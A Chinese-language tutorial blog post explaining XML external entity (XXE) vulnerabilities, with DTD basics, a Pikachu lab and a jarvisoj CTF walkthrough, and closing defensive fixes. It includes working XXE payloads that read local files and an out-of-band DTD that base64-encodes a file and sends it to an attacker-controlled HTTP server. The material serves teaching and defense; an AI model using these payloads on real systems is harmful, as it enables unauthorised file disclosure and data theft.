一.XXE的原理

运维人员使用了低版本php,libxml低于2.9.1就会造成XXE或者程序员设置了libxml_disable_entity_loader(FALSE); 

要点:libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

如图,libxml低于2.9.1,说明存在XXE漏洞

 

 

 

二.XXE的定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

三.XXE的文档结构

<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>   

xml声明、版本(gb2312表示中国)、编码(UTF-8指的是万能编码,它支持各个国家的语言)

<!DOCTYPE root system "http://www.XXXX.com/file"[ ...

定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。

<!ELEMENT root (other)> ...

元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other等)和元素类别、内容等

四.DTD的基础知识

基本的PAYLOAD结构:

 

 

DTD实体声明

内部实体声明

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "oldboyedu.com">]>
<foo>&xxe;</foo>

 

 

外部实体声明

任何语言都支持file、http、ftp协议

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 

 

 

参数实体声明

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

五.XXE攻击

有回显情况

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

无回显情况

建立*.dtd

示例:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">

定义DTD文件上传到服务器,然后调用就可以了

xml调用

示例:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

 

 

 把显示在日志里的结果通过burp suite解密

 

 

 

六.XXE漏洞利用及相关扩展知识

pikachu  xxe代码

<?xml version = "1.0"?>

<!DOCTYPE ANY [

    <!ENTITY f SYSTEM "file:///C://1.txt">

]>

<x>&f;</x>

示例:

 打开pikachu,通过Burp suite 抓包(1.挖XXE漏洞首先找有参数的地方2.看他的accept头允许哪种语言,发现xml说明允许xml提交语言3.可以在参数出随意输入值(因为参数没有过滤,其次libxml低于2.9)

 

还有一种方法就是看xml后面是否是XXE编码

找到漏洞后,输入代码:<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://2.txt"> ]> <x>&f;</x>

 

 

 

jarvisoj上的一道题目API调用

这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包

 

 

 

 

 把json改为xml,把最后一行复制为

<?xml version = "1.0"?>
<!DOCTYPE xxe [
    <!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&file;</x>

七.XXE漏洞修复与防御

复制一行代码

libxml_disable_entity_loader(true);

升级为高版本

手动黑名单过滤

过滤关键词:<!DOCTYPE<!ENTITY SYSTEMPUBLIC

 

posted on 2021-01-09 16:46  i竹子  阅读(111)  评论(0编辑  收藏  举报